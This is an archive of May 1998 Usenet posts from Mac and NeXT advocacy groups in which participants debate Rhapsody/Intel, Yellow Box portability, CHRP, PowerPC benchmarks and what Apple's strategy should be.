Message-ID: <356496F1.4491@CONVEX.COM>
References: <6jsait$q4o@newsb.netnews.att.com> <3561D1F9.5E62@CONVEX.COM>
<6jslbi$i4k1@odie.mcleod.net> <joe.ragosta-2005981154020001@wil132.dol.net>
<35648924.602E@CONVEX.COM> <6k1hvf$pdd$2@ns3.vrx.net>
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Maury Markowitz wrote:
> That I'll agree with. However in the longer term I don't think it's nearly
> that cut and dried. SGI is now slipping into a position Apple was in just
> over a year ago in terms of "you gonna die succa" attitude as seen by it's
> users, if that's still true in (say) two years and Apple is offering a solid
> Unix based OS (which they will) and super fast machines (more debatable
> compared to SGI anyway) then who knows?
Well, for one thing, SGI is too specific for the point. The point was
that there are lots of important places where Office isn't deployed, yet
there is market success. SGI isn't the only one in this position, but
your observations about SGI are fairly applicable to the rest anyway.
For another thing, I don't think that Apple's hardware, by comparison to
SGI's, is a doubtful thing, not in the two-year timeframe you mention. I
think that PPC hardware has hit the sweet spot and will crush anything
SGI ships within two years. The sad thing is that being faithful to CHRP
might have kept SGI successful as an Apple ally.
> I think he means Unix on PC in general.
That's more realistic, of course.
> Yeah, but would you pay for it just to get rid of an Apple rep?? :-)
>
> Joe, if that number's right, we HAVE to do something about this!
Aye, it's a right pretty milestone...
MJP
Date: Thu, 21 May 1998 17:27:35 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Message-ID: <joe.ragosta-2105981727350001@wil97.dol.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
In article <35648F7B.4F0@CONVEX.COM>, Michael Peck <MJPECK@CONVEX.COM> wrote:
> Joe Ragosta wrote:
>
> > > The opposite (EVERYTHING on Rhapsody) is ridiculous. It's not going to
> > > happen.
> >
> > Why not? They're doing it now. Everything I've heard about Rhapsody is
> > that it pulls this off very, very well.
>
> You don't say what you mean (to be fair, neither do I :-). What,
> exactly, does Rhapsody do to make it possible to run, directly or
> otherwise, foreign software and computing tasks on the OS?
>
> 1) Java support (a big unknown at this point)
> 2) BSD
> 3) Blue Box (for Macintosh hardware)
>
> That's my short list. What's yours?
I don't understand your question.
Out of the box, Rhapsody runs BSD apps. It runs Mac apps. AND it runs
Yellow Box (or "native Rhapsody") apps. There is absolutely no question
about these things.
I've heard claims that Java will be just as transparent, but I don't know
enough about it to debate it.
As for cross-platform stuff, if you have a YB app, all you need to do to
get it on another platform is recompile. No messy code rewrites.
What exactly does Rhapsody fail to do?
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 21 May 1998 17:25:03 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Message-ID: <joe.ragosta-2105981725040001@wil97.dol.net>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104> <6jq20b$khp@newsb.netnews.att.com> <ericb-2005981940250001@132.236.171.104> <35642793.C2A7D977@milestonerdl.com> <6k226v$6g3$1@news.digifix.com>
In article <6k226v$6g3$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> And you should realize that Apple hasn't ruled out
> Rhapsody/Intel at this point, but they've not commited to it. That is
> a different thing.
Which is all the more reason for people to write supporting Rhapsody/Intel.
>
> With the changes that Apple has made in creating support for
> the Carbon APIs, Rhapsody/Intel doesn't make as much sense as it did
> before.
I question this. To me, support for the Carbon APIs possibly makes Rhaptel
a longer term solution, but I don't think it makes it any less valuable.
The way I see it, Yellow Box is the premier cross-platform environment
(better than Java from what I've seen). It also has the best development
tools on the planet. 10 years from now, I would hope that Carbon is
history and everyone's doing YB development.
Even aside from that, I would guess that a large number of apps are going
to come from NeXT developers and from Unix. These apps would run just fine
on a Rhaptel. Rhaptel will help Apple to gain acceptance of Rhapsody and
Yellow Box.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: "Jonathan Eric Miller" <_jemiller@midway.uchicago.edu>
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Message-ID: <EtBtIo.EID@midway.uchicago.edu>
Sender: news@midway.uchicago.edu (News Administrator)
Organization: University of Chicago -- Academic Computing Services
References: <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca> <see-below-2005981804400001@209.24.242.183> <*johnnyc*-2105981003210001@jchristie.halifaxcable.dal.ca> <6k241p$8s0$1@new-news.cc.brandeis.edu>
Date: Thu, 21 May 1998 21:39:08 GMT
You better double check your figures if you think PowerPC is faster than
both Alpha and PA-RISC. Take a look at
http://www.specbench.org/cgi-bin/osgresults?conf=cpu95;op=form. Sort by CPU#
ascending, Result descending and let me know what you find. Refer to
Motorola's and IBM's Web sites for the estimated scores for the latest
PowerPC processors because they haven't submitted them to SPEC yet.
BTW, the fastest Pentium II beats the fastest PowerPC in both SPECint95 and
SPECfp95.
Jon
--
To reply to me, please remove the _ from my email address.
Nathan G. Raymond wrote in message
<6k241p$8s0$1@new-news.cc.brandeis.edu>...
>In article <*johnnyc*-2105981003210001@jchristie.halifaxcable.dal.ca>
*johnnyc*@or.psychology.dal.ca (John Christie) writes:
>>In article <see-below-2005981804400001@209.24.242.183>,
>>see-below@not-my-address.com (Matthew Vaughan) wrote:
>>
>>> In article <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca>,
>>> *johnnyc*@or.psychology.dal.ca (John Christie) wrote:
>>>
>>> > Well, one of the great promises of CHRP was that it was supposed to
run
>>> > a bunch of OSes. MacOS was to supposed to gain marketshare through
the
>>> > backdoor here. If CHRP really came to fruition how did little old
Apple
>>> > kill it? You would think that running NT, Solaris, and AIX would be
>>> > plenty. Why isn't Motorola still selling these machines? Are you
telling
>>> > us that the MacOS was the most important OS for CHRP compared to NT?
>>>
>>> Yes. Why would anyone want to switch from NT/Intel to NT/PPC? If they
were
>>> going to, why not just switch to NT/Alpha? You'd have to give them a
darn
>>> good reason to do so. The whole idea of CHRP was more to expand the Mac
>>> market than anything else.
>>
>>
>> I wonder why it took so long for Apple to figure out that the two
>>sentences above make no sense. No one would switch to NT/PPC, and CHRP
>>was to expand the Mac market are incompatible statements. People actually
>>mourn the loss of this?
>
>The PowerPC processor was billed as next-generation hardware at today's
>prices, which it still largely is. Just check the unit cost in volume.
>
>PowerPC processors are, overall, faster than equivalent Alpha processors.
>(The 500Mhz Alpha is a little faster in FP than the 350Mhz 604e, I
>believe). PowerPC is also faster than SPARC, MIPS, and PA-RISC. And PPC
>is less expensive than Intel processors. Intel processors have a
>largely RISC core with a CISC wrapper (sans the extra registers), which
>means lots of extra baggage in terms of transistor count, wierd memory
>addressing modes, little-endian, and other stupid legacy crap that's there
>because IBM chose a processor that wouldn't threaten its mainframe
>business in 1981. Everyone likes to forget this.
>
>Evidence is that the other operating systems didn't happen for CHRP/PREP
>because of political reasons, with some technical issues thrown in.
>
>Rumor is that MacOS 7.6 and up run on CHRP out of the box, with only a few
>hardware compatability issues.
>
>The real problem was Apple never figured out if, and how, it was going to
>back out of the business of making hardware - which is what they needed to
>do to make CHRP/PREP work.
>--
>Nathan Raymond
>http://www.everythingmac.com
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: NSHosting and MacOS X
Date: 21 May 1998 21:41:09 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6k271l$9ul$1@new-news.cc.brandeis.edu>
References: <01bd80c6$be64d100$a4e82080@mizuki.HIP.Berkeley.EDU> <SCOTT.98May18215210@slave.doubleu.com> <6k1uic$6dp$1@crib.bevc.blacksburg.va.us>
In article <6k1uic$6dp$1@crib.bevc.blacksburg.va.us> nurban@vt.edu writes:
>In article <SCOTT.98May18215210@slave.doubleu.com>, scott@doubleu.com (Scott Hess) wrote:
>
>> And _PLEASE_ do not tell me that in order to draw with my advanced
>> object-oriented environment, I have to revert to a palpimset
>> function-based API,
>
>I've run through all of the words, acronyms, and potential misspellings
>I can think of, to no avail. So tell me.. what the heck is "palpimset"??
I think he meant "palimpsest", which according to the American Heritage
Dictionary means:
palimpsest n.
1. A manuscript, typically of papyrus or parchment, that has been written
on more than once, with the earlier writing incompletely erased and often
legible.
2. An object, a place, or an area that reflects its history: "Spaniards in
the sixteenth century . . . saw an ocean moving south . . . through a
palimpsest of bayous and distributary streams in forested paludal basins"
(John McPhee).
--
Nathan Raymond
http://www.everythingmac.com
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Thu, 21 May 1998 16:48:36 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3564A134.16A3@CONVEX.COM>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM> <joe.ragosta-2105981727350001@wil97.dol.net>
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Joe Ragosta wrote:
> I don't understand your question.
Ah, I see.
> Out of the box, Rhapsody runs BSD apps. It runs Mac apps. AND it runs
> Yellow Box (or "native Rhapsody") apps. There is absolutely no question
> about these things.
The thread is called "Rhapsody/Intel is Dead Too!", so I'm pretty sure
I'm not off-base to point out that yes, there is definitely a question
about support for Macintosh applications, especially if the Carbon API
becomes prevalent, because Rhapsody/Intel will not have a Blue Box. To
say that "Rhapsody runs Mac apps" is absolutely false. Only Rhapsody for
Mach on PPC runs Mac apps.
Yellow Box apps aren't an identifiable entity. There are almost none of
them, and Yellow Box itself has no fixed specification whatsoever. It is
a work in progress, and developers are under NDA. This is not what I am
talking about.
BSD apps are the only thing that can claim support, and that means BSD
apps *without* X Windows usage, *without* specific Intel driver usage,
and *without* moderately-interesting use of networking code, since even
the network model on Rhapsody hasn't hit concrete.
Rhapsody, as an OS, is shaky. Until it hits 1.0 and there's no NDA, I
can question whatever I like.
> I've heard claims that Java will be just as transparent, but I don't know
> enough about it to debate it.
Nobody outside of an Apple NDA knows. My point exactly.
> As for cross-platform stuff, if you have a YB app, all you need to do to
> get it on another platform is recompile. No messy code rewrites.
Again, my point exactly: a YB app. And you mean "cross-platform" as in
"wherever YB runs". Yes, my point exactly. And QuickTime as in wherever
QuickTime runs, and etc., etc., etc..
The point is that cross-platform means nothing without a "run Rhapsody
everywhere" program. Otherwise, Rhapsody is as proprietary as...oh,
Carbon, for instance.
> What exactly does Rhapsody fail to do?
Run on my Linux box. Run on my FreeBSD box. Run on my Solaris box. Run
on my HPUX box. Run on my BeOS box. Run on my [enter platform here].
MJP
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 21 May 1998 17:05:09 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6k1ms5$sp3$2@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM>
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Cc: MJPECK@CONVEX.COM
In <35648F7B.4F0@CONVEX.COM> Michael Peck claimed:
> You don't say what you mean (to be fair, neither do I :-). What,
> exactly, does Rhapsody do to make it possible to run, directly or
> otherwise, foreign software and computing tasks on the OS?
>
> 1) Java support (a big unknown at this point)
Yes. Full Sun JDK with the OS. Appeared on all the slides. Weren't you
there?
> 2) BSD
Yes, 100% of 4.4 with "most" of POSIX as well. Actually they implied 100%
there too but didn't want to go through the process of getting certified
(notably when it's so meaningless considering NT).
> 3) Blue Box (for Macintosh hardware)
Yes. Of course.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 21 May 1998 17:03:14 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6k1moi$sp3$1@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM>
<6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM>
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Cc: MJPECK@CONVEX.COM
In <35649582.1F55@CONVEX.COM> Michael Peck claimed:
> 1) X server
Actually I think that's a "reverse win". IE, having X support is something
that helps that OS bundle win, but does nothing for the API battle.
> 2) Yellow Box for other platforms
Yes, but to what degree is another issue entirely, and those companies hate
competition on THEIR OS's. Solaris was a particular political expediency
that's unlikely to ever happen again, and the DEC port is unlikely now that
Compaq owns them. SGI is an interesting possibility though, as I've noted
before, and Linux/someBSD even more so.
Then there's the issue of what this gets Apple. With all of these other
than Mac and Win, the platforms aren't being used for application development
anyway (not in the Mac/Win sense of app anyway). How many more customers
this would get for the API is questionable, while at the same time this is
likely to do little for their mindshare in the Win world either. All the
Unix developers in the world going Yellow could influence only a tiny
minority of the overall market, because the overall market is Win and they
likely don't listen.
> 5) Bandwagon: LDAP, Java, etcetera
This can be a bad thing though.
> 6) Cheaper WebObjects licenses
Ok, I suppose.
> 7) Joining the OpenGL ARB (see #5)
ARB?
> 1) Buy a small computer game developer
This is my single biggest fear right now, the games issue. I really really
think Apple doesn't get it in this area. They keep talking to THEIR
developers about making RAVE better or some update to SoundSproket, but they
don't seem to be talking to anyone else about the issue, and when it comes
right down to it there are no games on the Mac any more.
Heretical statement follows:
I think Apple would do considerably more for games on the Mac with a crappy
port of DirectX than they would with the best 3D engine in the world.
Maury
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <3564a84d.75816678@News.canadawired.com>
Control: cancel <3564a84d.75816678@News.canadawired.com>
Date: 21 May 1998 22:18:19 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.3564a84d.75816678@News.canadawired.com>
Sender: mlebel@netpointer.com (#1Mario)
Article cancelled as EMP/ECP, exceeding a BI of 20.
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Please include the X-CosmoTraq header of this message in any correspondence
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Sick-O-Spam, Spam-B-Gon!
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Thu, 21 May 1998 17:43:47 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3564AE23.3777@CONVEX.COM>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM>
<6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k26h6$5o7$3@cronkite.cygnus.com>
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John Rudd wrote:
> > 1) X server
>
> Funny, this was the only one I found to be "whacked out". I'm sure XNeXT
> will show up on MacOS X, and I don't know that they really need anything more
> than that. Perhaps buying one of the old Nextstep commercial X servers that
> did rootless X services, and offering that as a download to anyone who wants
> it...
Whatever it is, it needs to be X11R6.3, it needs Motif, and it needs to
natively support Macintosh hardware. Sponsorship of XFree86 would get
them there in under a year, *and* win even more support from the free
Unix community. The Motif part could be addressed by buying any of the
Motif vendors out there (and there are plenty).
> Do they need to be any more explicit than the mklinux project they already
> support?
I don't mean "Apple support Linux", I mean "Rhapsody support Linux".
That means Yellow Box for Linux, QuickTime for Linux, and maybe even
WebObjects for Linux.
I'll bet you a hundred dollars *somebody* at Apple spent 20 hours and
ported basic QuickTime services to Linux already.
> > 3) A big, fat, public Java deal with Sun
>
> I thought they DID have something along those lines? Or, at least, I know
> Apple is making claims about how 100% Java spec compatable they are.. maybe
> this will be marketed more strongly once it's a full shipping product.
All I know is that a few months ago Sun said they'd be making their
biggest Java deal ever, everyone was saying it would be Apple, and it
turned out to be Motorola. To my knowledge, apart from a basic license,
Apple has no Java deal with Sun.
> > 1) Buy a small computer game developer
>
> I agree completely. I'd start with MacSoft. Not that their big games are
> their own, but that Apple may be able to give them a budget to pull in more
> games to port.
Actually, I'd start with someone less known, someone with a reasonable
track record of development, and stay away from a publisher/developer
like MacSoft. I don't know who that would be...there are lots of names
out there.
Someone like Core, perhaps. Or like Humongous Entertainment (too late
for that, though).
The plan is to find someone with a new genre and some kickass ideas but
who hasn't had anything published yet. Or someone like Westwood Studios
*before* Command&Conquer was released.
[good points on the cost of DVD]
> Funny, of all of the things you said, the only one I thought was crazy was X
> support ;-)
>
> Though, I have a lot of mixed feelings about Jobs as CEO. There are lots of
> rumors that leave me with a bad impression.. but at the same time he does
> seem to be doing a good job with improving the platform and returning the
> company to profitability (though, not necessarily improving the platform in
> the exact direction _I_, and several other NeXT advocates, want.. but that's
> not necessarily his goal, nor would it necessarily be the goal of the next
> full time CEO).
Actually, did you know that Megadeth wrote a song about Steve Jobs?
Yeah, it goes like this:
I'm doing you a favor
As I'm taking all your money
I guess I should feel sorry
But I don't even trust me
There's bad news creeping up
And you feel a sudden chill
How do you do? My name is trouble
And I'm coming in for the kill
Sorry, I couldn't resist :-) I have the MP3 playing right now and I just
think of Jobs every time I hear the song.
MJP
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: 21 May 1998 22:42:17 GMT
Organization: I don't think so
Message-ID: <slrn6m9bhh.k5l.jason@jhste1.dyn.ml.org>
References: <*johnnyc*-2005981752050001@jchristie.halifaxcable.dal.ca> <see-below-2005981804400001@209.24.242.183> <*johnnyc*-2105981003210001@jchristie.halifaxcable.dal.ca> <6k241p$8s0$1@new-news.cc.brandeis.edu> <EtBtIo.EID@midway.uchicago.edu>
Jonathan Eric Miller posted the following to comp.sys.mac.advocacy:
>You better double check your figures if you think PowerPC is faster than
>both Alpha and PA-RISC. Take a look at
>http://www.specbench.org/cgi-bin/osgresults?conf=cpu95;op=form. Sort by CPU#
>ascending, Result descending and let me know what you find. Refer to
>Motorola's and IBM's Web sites for the estimated scores for the latest
>PowerPC processors because they haven't submitted them to SPEC yet.
I think that's because only Apple uses the 750 right now, so IBM and
Moto don't have shipping systems running UNIX on which to run tests
for which they can submit scores.
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 21 May 1998 21:32:22 GMT
Organization: Cygnus Solutions
Message-ID: <6k26h6$5o7$3@cronkite.cygnus.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM>
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Cc: MJPECK@CONVEX.COM
In <35649582.1F55@CONVEX.COM> Michael Peck wrote:
> Maury Markowitz wrote:
>
> > > the OS war; Apple should fight the API war, which is where everything
> > > that matters is being sold. Apple can *win* the API war; it needs to
> > > address some key issues, one of which Matthew Vaughan brought up: Java.
> >
> > They ARE winning it in some limited places, notably QuickTime. Can
they
> > win it more widely? Hmmm, only with good developer marketing.
>
> Yes, without a doubt. No, marketing isn't the only piece to the puzzle.
> Doing the obvious things is the biggest part.
>
> What are the obvious things?
>
> 1) X server
Funny, this was the only one I found to be "whacked out". I'm sure XNeXT
will show up on MacOS X, and I don't know that they really need anything more
than that. Perhaps buying one of the old Nextstep commercial X servers that
did rootless X services, and offering that as a download to anyone who wants
it...
> 2) Yellow Box for other platforms
> 3) QuickTime on *more* platforms
> 4) Explicit and unwavering support for Windows NT
> 5) Bandwagon: LDAP, Java, etcetera
> 6) Cheaper WebObjects licenses
> 7) Joining the OpenGL ARB (see #5)
>
> Obvious things that will probably get me into trouble here:
>
> 1) Hardware cloning on an open spec
Amen.
> 2) Explicit Linux support
Do they need to be any more explicit than the mklinux project they already
support?
> 3) A big, fat, public Java deal with Sun
I thought they DID have something along those lines? Or, at least, I know
Apple is making claims about how 100% Java spec compatable they are.. maybe
this will be marketed more strongly once it's a full shipping product.
> 4) A new CEO
>
> Crazy, wacked-out ideas:
>
> 1) Buy a small computer game developer
I agree completely. I'd start with MacSoft. Not that their big games are
their own, but that Apple may be able to give them a budget to pull in more
games to port.
> 2) Develop and announce the successor to the IMac before the end of 1998
> 3) Find a PDA manufacturer to endorse
> 4) Announce support for wireless communications in the OS
> 5) Put DVD in every Mac announced after May 21, 1998
I would only modify #5 to be: for mainstream computers. For the bargain
basement low cost machines, I'd wait til DVD was cheaper. If they can make
it affordable in the iMac, then do it. If it makes the iMac much more
expensive, no way. It would probably be a definitely bad idea to do in
anything they market in the sub-$1000 market for now (if they ever actually
address that market).
Funny, of all of the things you said, the only one I thought was crazy was X
support ;-)
Though, I have a lot of mixed feelings about Jobs as CEO. There are lots of
rumors that leave me with a bad impression.. but at the same time he does
seem to be doing a good job with improving the platform and returning the
company to profitability (though, not necessarily improving the platform in
the exact direction _I_, and several other NeXT advocates, want.. but that's
not necessarily his goal, nor would it necessarily be the goal of the next
full time CEO).
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Thu, 21 May 1998 17:59:39 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3564B1DB.5829@CONVEX.COM>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<joe.ragosta-1905982102440001@elk125.dol.net> <35648F7B.4F0@CONVEX.COM> <6k1ms5$sp3$2@ns3.vrx.net>
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Maury Markowitz wrote:
>
> In <35648F7B.4F0@CONVEX.COM> Michael Peck claimed:
> > You don't say what you mean (to be fair, neither do I :-). What,
> > exactly, does Rhapsody do to make it possible to run, directly or
> > otherwise, foreign software and computing tasks on the OS?
> >
> > 1) Java support (a big unknown at this point)
>
> Yes. Full Sun JDK with the OS.
Fabulous. Means nothing. My Linux box has a full JDK. So what?
Can I use the Java language to write YB apps? Will my Java2D/Java3D apps
benefit from hardware access? Will that JavaMail API be supported? Can I
use QuickTime streaming media in a Java app?
Like I said, "unknown".
> Appeared on all the slides. Weren't you
> there?
No, I am not an Apple developer (in any sense of the term).
> > 2) BSD
>
> Yes, 100% of 4.4 with "most" of POSIX as well. Actually they implied 100%
> there too but didn't want to go through the process of getting certified
> (notably when it's so meaningless considering NT).
It *is* fairly meaningless. A better benchmark would be knowing how much
code must be changed to get a full GNU-like system (a la Cygwin-32)
running nicely on Rhapsody. How hard is an emacs port? Will XV compile
easily?
MJP
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Thu, 21 May 1998 17:24:03 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3564A983.1DE3@CONVEX.COM>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM>
<3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net>
<6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM>
<6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net>
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Maury Markowitz wrote:
>
> In <35649582.1F55@CONVEX.COM> Michael Peck claimed:
> > 1) X server
>
> Actually I think that's a "reverse win". IE, having X support is something
> that helps that OS bundle win, but does nothing for the API battle.
Err, I'm sure you're right. What was I thinking?
Oh, I know. I was thinking that having an X server would make Rhapsody
seem more like a Unix, and thus make it (as a platform) more appealing
to those doing X development (who could be wooed to YB in the long-run).
It would also make it possible to port *part* of an X program to YB, and
leave part behind in X. This would make Rhapsody a seamless member of
the Yellow Box cross-platform "thing".
> > 2) Yellow Box for other platforms
>
> Yes, but to what degree is another issue entirely, and those companies hate
> competition on THEIR OS's. Solaris was a particular political expediency
> that's unlikely to ever happen again, and the DEC port is unlikely now that
> Compaq owns them. SGI is an interesting possibility though, as I've noted
> before, and Linux/someBSD even more so.
Doesn't matter. Novell sells its networking stack on NT, against
Microsoft's wishes. Apple can build a Yellow Box for Solaris in no time,
with or without Sun's help. It doesn't even matter.
Besides, your "political expediency" would happen in no time with firm
Apple support on the Java issue. That's a no-brainer.
> Then there's the issue of what this gets Apple. With all of these other
> than Mac and Win, the platforms aren't being used for application development
> anyway (not in the Mac/Win sense of app anyway). How many more customers
> this would get for the API is questionable, while at the same time this is
> likely to do little for their mindshare in the Win world either. All the
> Unix developers in the world going Yellow could influence only a tiny
> minority of the overall market, because the overall market is Win and they
> likely don't listen.
Untrue. You're speaking of the markets you and I buy into, which are
immaterial. The places where NT makes its inroads would be where Yellow
Box on Other Unices could make windfalls for Apple.
I spoke yesterday with a company that wants to port a proprietary
middleware layer to platforms other than Solaris and HPUX (where it
currently runs), for many reasons. They want a platform they can deploy
*everywhere*, not just *somewhere*. They are targeting Linux and Windows
NT equally. To them, NT is just another platform. To them, Linux is just
another platform. There's no Evil Empire concept, just a bunch of
platforms they feel are important to their business.
Email me if you want the name of the company.
> > 5) Bandwagon: LDAP, Java, etcetera
>
> This can be a bad thing though.
Why?
[cut]
> > 7) Joining the OpenGL ARB (see #5)
>
> ARB?
The Architecture Review Board which controls the OpenGL specification.
The members:
Digital Equipment
Evans & Sutherland
Hewlett-Packard
IBM
Intel
Intergraph
Microsoft
Silicon Graphics
> Heretical statement follows:
>
> I think Apple would do considerably more for games on the Mac with a crappy
> port of DirectX than they would with the best 3D engine in the world.
Shhhhhhh!!! You're in HUGE trouble, now.
MJP
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 21 May 1998 19:04:14 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6k2bte$72e$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net>
In article <6k1moi$sp3$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> This is my single biggest fear right now, the games issue. I really really
> think Apple doesn't get it in this area. They keep talking to THEIR
> developers about making RAVE better or some update to SoundSproket, but they
> don't seem to be talking to anyone else about the issue, and when it comes
> right down to it there are no games on the Mac any more.
Indeed. Apple doesn't seem to be taking games seriously enough, which
is surprising.. their own "Consumer Market Strategies" session indicated
